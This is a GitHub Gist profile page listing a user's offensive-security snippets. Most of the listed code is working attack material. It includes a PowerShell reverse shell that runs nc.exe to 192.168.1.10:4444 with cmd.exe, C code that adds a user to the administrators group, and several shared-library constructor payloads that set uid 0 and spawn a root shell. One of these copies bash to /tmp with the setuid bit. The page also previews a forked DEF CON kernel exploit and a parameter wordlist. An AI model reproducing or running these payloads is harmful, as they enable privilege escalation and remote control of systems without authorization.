Skip to content

Instantly share code, notes, and snippets.

View int0x33's full-sized avatar
🎯
Focusing

ZER0 int0x33

🎯
Focusing
View GitHub Profile

Keybase proof

I hereby claim:

  • I am int0x33 on github.
  • I am int0x33 (https://keybase.io/int0x33) on keybase.
  • I have a public key ASCfPw27tiAPkGwjBolUP8VNr5weJ8uVmkc0fnov9NqebAo

To claim this, I am signing this object:

@int0x33
int0x33 / keml_exploit.c
Created May 18, 2020 12:09 — forked from LYoungJoo/keml_exploit.c
defcon 2020 keml
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <stdint.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <stdlib.h>
int main ()
{
int i;
i=system ("net localgroup administrators $lowprivUser /add");
return 0;
}
@int0x33
int0x33 / RunAsRevShell.ps1
Created April 11, 2019 13:48
Windows Run As Reverse Shell
$username = '<username here>'
$password = '<password here>'
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
Start-Process -FilePath C:\Users\Public\nc.exe -NoNewWindow -Credential $credential -ArgumentList ("-nc","192.168.1.10","4444","-e","cmd.exe") -WorkingDirectory C:\Users\Public
@int0x33
int0x33 / params.txt
Created March 30, 2019 16:15 — forked from nullenc0de/params.txt
List of parameters for content discovery
0
1
11
12
13
14
15
16
17
2
#include <stdio.h>
#include <stdlib.h>
enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};
typedef struct st_udf_args {
unsigned int arg_count; // number of arguments
enum Item_result *arg_type; // pointer to item_result
char **args; // pointer to arguments
unsigned long *lengths; // length of string args
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
int random_token = 333;
void inject(){
setgid(0);
setuid(0);
execl("/bin/sh","sh",0);
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject(){
setgid(0);
setuid(0);
execl("/bin/sh","sh",0);
}
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
int welcome = 333;
void inject(){
setgid(0);
setuid(0);
execl("/bin/sh","sh",0);
#include <stdio.h>
#include <stdlib.h>
static void welcome() __attribute__((constructor));
void welcome(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}